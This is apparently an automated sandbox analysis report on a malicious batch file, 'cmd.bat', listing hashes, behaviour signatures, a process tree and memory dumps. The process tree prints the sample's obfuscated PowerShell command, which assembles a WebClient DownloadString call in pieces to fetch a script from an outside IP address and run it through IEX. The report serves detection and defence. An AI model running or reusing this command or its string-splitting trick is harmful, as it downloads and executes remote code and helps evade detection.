Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    04/03/2025, 13:56

General

  • Target

    cmd.bat

  • Size

    180B

  • MD5

    b3cede4b5d517877a96f997ef702fb47

  • SHA1

    a4aa92e6231e8ac310b32ecfd6d8f82f3b1c76af

  • SHA256

    450f94a61505838c596764d3e70dce13638ae0086e5695b09264258a859dc42f

  • SHA512

    5d7e73be8121dd8d3374d773d83f1fc553e748ef863a7fc7d914eecae8d1086dcb17dfc14a36ffd00456802af1f708ea19e8c8887203137c6ecf77c7f1239080

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.221/a.mp4

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$FC1='ject Net.WebCli';$FC2='loadString(''http://92.255.57.221/a.mp4'')';$FC3='ent).Down';$FC4='(New-Ob';$E5=IEX ($FC4,$FC1,$FC3,$FC2 -Join '')|IEX"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2984

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2984-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

    Filesize

    4KB

  • memory/2984-5-0x000000001B560000-0x000000001B842000-memory.dmp

    Filesize

    2.9MB

  • memory/2984-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-6-0x0000000002890000-0x0000000002898000-memory.dmp

    Filesize

    32KB

  • memory/2984-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2984-12-0x000000001B470000-0x000000001B4D8000-memory.dmp

    Filesize

    416KB

  • memory/2984-13-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB